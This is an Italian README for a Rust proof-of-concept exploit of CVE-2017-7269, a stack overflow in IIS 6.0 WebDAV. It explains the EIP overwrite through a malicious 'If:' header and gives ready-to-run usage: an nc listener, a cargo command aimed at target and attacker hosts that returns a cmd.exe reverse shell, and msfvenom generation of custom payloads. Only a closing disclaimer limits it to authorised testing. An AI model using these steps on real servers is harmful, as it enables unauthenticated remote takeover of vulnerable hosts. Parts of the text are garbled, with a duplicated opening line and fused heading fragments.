
Un'implementazione in Rust della POC per CVE-2017-7269, che prende di mira il servizio WebDAV in Microsoft Internet Information Services (IIS) 6.0.
Un'implementazione in Rust del POC per CVE-2017-7269, che prende di mira il servizio WebDAV in Microsoft Internet Information Services (IIS) 6.0.
CVE-2017-7269 è una vulnerabilità critica di overflow del buffer basato sullo stack trovata nel servizio WebDAV di Microsoft IIS 6.0, incluso in Windows Server 2003 R2. Un exploit riuscito consente a un attaccante non autenticato di ottenere l'esecuzione remota di codice sul server bersaglio.
httpext.dll (estensione WebDAV di IIS)ScStoragePathFromUrlPROPFIND appositamente modificata.If: eccessivamente lungo contenente più URL.La vulnerabilità è un classico overflow del buffer dello stack. Viene innescata quando la funzione ScStoragePathFromUrl elabora una richiesta PROPFIND contenente un header If: dannoso.
Questo exploit crea un header di questo tipo con una lunga stringa di byte, che supera la capacità del buffer allocato sullo stack. Questo overflow sovrascrive dati critici dello stack, incluso l'indirizzo di ritorno salvato (EIP). L'exploit dirotta il flusso di esecuzione del programma puntando questo indirizzo di ritorno a un piccolo payload shellcode iniziale anch'esso situato nell'header dannoso. Il compito di questo shellcode di primo stadio è trovare ed eseguire il payload principale, una reverse shell, inviata nel corpo della stessa richiesta HTTP. Questo POC dimostra con successo l'esecuzione remota di codice collegando una shell cmd.exe a un listener controllato dall'attaccante.
Prepara un listener (regola la porta in modo che corrisponda a --lport):
nc -lvnp <attacker-port>
Esegui l'exploit con shellcode incorporato:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
Lo strumento applica le patch allo shellcode WSA al volo usando LHOST/LPORT e lo consegna nel corpo della richiesta HTTP. Quando il bersaglio è vulnerabile, il tuo listener riceverà una reverse shell da cmd.exe.
--payload)Crea un payload grezzo
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
Consegna il payload (nessun bisogno di --lhost/--lport perché lo shellcode contiene già quelle informazioni):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
Gestisci il callback nello stesso listener di prima. Poiché il binario si limita a trasmettere i byte forniti, il comportamento esatto dipende dal payload che hai generato.
Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Usalo in modo responsabile e solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione.